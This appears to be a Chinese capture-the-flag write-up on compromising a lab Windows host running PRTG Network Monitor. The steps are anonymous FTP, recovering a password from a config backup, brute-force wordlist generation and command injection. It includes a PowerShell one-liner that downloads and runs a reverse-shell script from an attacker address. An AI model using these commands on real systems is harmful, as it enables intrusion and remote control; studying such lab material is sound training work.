前言
Author: 0x584A
- nmap
- ftp anonymous
- PRTG Network Monitor command inject
- psexec
信息收集
老规矩,nmap开启局…
可以看的ftp端口是开放的,nmap脚本扫一下存在未授权访问,成功在/Users/Public
目录下拿到 user flag
80端口则运行着一个 PRTG Network Monitor
。
PRTG 全称Paessler Router Traffic Grapher,是德国Paessler软件公司开发的一套监控软件,用于监控各种IT硬件系统,包括交换机、路由器、防火墙、服务器等设备,通过SNMP协议、WMI等来进行监控,包括CPU、内存、接口流量、PING等。
get root flag
应用程序安装在 "Program Files (x86)\PRTG Network Monitor"
在 ftp 中翻目录,它是直接映射了 C:\
目录,因为权限问题系统目录无法直接浏览。dir -a
多了一个为 ProgramData
的文件夹。
里面的 Paessler
文件夹中又存在一个 PRTG Network Monitor
文件夹,该目录就是 PRTG 的数据目录。
具体目录对应说明见:
https://www.paessler.com/manuals/prtg/data_storage
留意到存 .old.bak
带备份后缀的文件,直接下载它,并搜索 password 可以看到存在一个被注释的用户名及密码。
wget ftp://10.10.10.152/ProgramData/Paessler/PRTG%20Network%20Monitor/PRTG%20Configuration.old.bak
user: prtgadmin pwd: PrTg@dmin2018
直接使用这组密码是登录不了的,注意到带 .bak
的文件显示时间为 2018,而不带的是 2019。尝试数字加一成功登录。
可以使用字典生成器辅助,进行暴力破解:
crunch 13 13 -t PrTg@dmin%%%% -l aaaa@aaaaaaaa -s PrTg@dmin2015 -c 21
在 google 搜索到一篇关于命令注入的文章: https://www.codewatch.org/blog/?p=453 , 尝试复现。
依次点击 setup -> Account Settings -> add new notification
,在 Execute Program
中尝试反弹shell。
发现无法执行,怀疑是特殊字符被转码了,尝试base64一下在执行。
$ echo -n "IEX(new-object net.webclient).downloadstring('http://10.10.14.7/Invoke-PowerShellTcp.ps1')" | iconv -t UTF-16LE | base64 -w0
其他方法
可以通过命名注入先增加用户名,并提升管理员权限。
因为 445 开放,直接用 psexec 访问目标主机,得到一个交互shell。